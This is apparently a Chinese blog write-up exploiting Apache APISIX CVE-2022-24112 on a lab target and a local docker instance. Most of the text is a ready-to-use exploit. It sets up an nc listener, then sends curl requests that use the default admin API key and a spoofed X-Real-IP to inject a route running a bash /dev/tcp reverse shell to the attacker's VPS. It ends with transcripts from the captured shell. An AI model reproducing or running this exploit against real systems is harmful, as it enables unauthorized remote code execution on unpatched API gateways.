参考这两个poc:
https://github.com/twseptian/cve-2022-24112
https://github.com/Acczdy/CVE-2022-24112_POC
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用_长白山攻防实验室的博客-CSDN博客
Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。
Apache APISIX中存在远程代码执行漏洞,该漏洞源于产品的batch-requests插件未对用户的批处理请求进行有效限制。
攻击者可通过该漏洞绕过Admin API的IP限制,容易导致远程代码执行。
分两步:
第一步,vps监听tcp端口:
nc -lnvvp 6800
第二步,发两次curl请求:
myurl2=http://eci-2zed38nv18jqeylh9aij.cloudeci1.ichunqiu.com:9080/;
# myurl2=http://127.0.0.1:9080/;
#xxxx.myvps.cn和 6800 需要替换为你自己的vps_ip(vps的域名也可以)和nc监听端口
danth="'";
mydata4='{"headers": {"X-Real-IP": "127.0.0.1", "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1", "Content-Type": "application/json"}, "timeout": 666, "pipeline": [{"path": "/apisix/admin/routes/index", "method": "PUT", "body": "{\"uri\":\"/rms/fzxewh\",\"upstream\":{ \"type\":\"roundrobin\",\"nodes\":{\"schmidt-schaefer.com\":1} },\"name\":\"wthtzv\",\"filter_func\":\"function(vars) os.execute('$danth'bash -c \\\\\\\"0<&160-;exec 160<>/dev/tcp/xxxx.myvps.cn/6800;sh <&160 >&160 2>&160\\\\\\\"'$danth'); return true end\"}"}]}'
curl -v -d "$mydata4" -H "Content-Type: application/json" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" "${myurl2}apisix/batch-requests";
#如上curl 的http状态码一般是200
curl -v -H "Content-Type: application/json" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" "${myurl2}rms/fzxewh";
#如上curl 的http状态码一般是503
myurl2=http://127.0.0.1:9080/的时候 ,是因为开启了本机docker:
cd /tmp;
git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务
反弹一个shell:
bash-5.1$ df -h
Filesystem Size Used Available Use% Mounted on
overlay 29.4G 12.4G 15.5G 44% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 335.3M 0 335.3M 0% /sys/fs/cgroup
/dev/vda 29.5G 55.1M 28.0G 0% /etc/hosts
/dev/vda 29.5G 55.1M 28.0G 0% /dev/termination-log
kataShared 18.1G 10.2G 7.0G 60% /etc/resolv.conf
shm 62.5M 0 62.5M 0% /dev/shm
tmpfs 64.0M 0 64.0M 0% /proc/kcore
tmpfs 64.0M 0 64.0M 0% /proc/keys
tmpfs 64.0M 0 64.0M 0% /proc/timer_list
tmpfs 64.0M 0 64.0M 0% /proc/sched_debug
bash-5.1$ git
bash: git: command not found
bash-5.1$ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.13.7
PRETTY_NAME="Alpine Linux v3.13"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
bash-5.1$ free -m
total used free shared buff/cache available
Mem: 670 120 434 1 115 481
Swap: 0 0 0
bash-5.1$ ps aux
PID USER TIME COMMAND
1 root 0:00 {busybox} ash /tmp/start.sh
5 root 0:00 /tmp/etcd
48 root 0:00 {openresty} nginx: master process /usr/local/openresty/bin/openresty -p /usr/local/apisix -g daemon off;
49 nobody 0:00 {openresty} nginx: worker process
50 nobody 0:00 {openresty} nginx: cache manager process
52 root 0:00 {openresty} nginx: privileged agent process
56 nobody 0:00 bash -c 0<&160-;exec 160<>/dev/tcp/vps_ip.com/6800;sh <&160 >&160 2>&160
57 nobody 0:00 sh
69 nobody 0:00 /tmp/xxx
73 nobody 0:00 /bin/bash
79 nobody 0:00 ps aux
bash-5.1$ curl cip.cc
IP : 39.106.20.178
地址 : 中国 北京
运营商 : 阿里云/电信/联通/移动/铁通/教育网
数据二 : 北京市 | 阿里云
数据三 : uA뀝
URL : http://www.cip.cc/39.106.20.178
bash-5.1$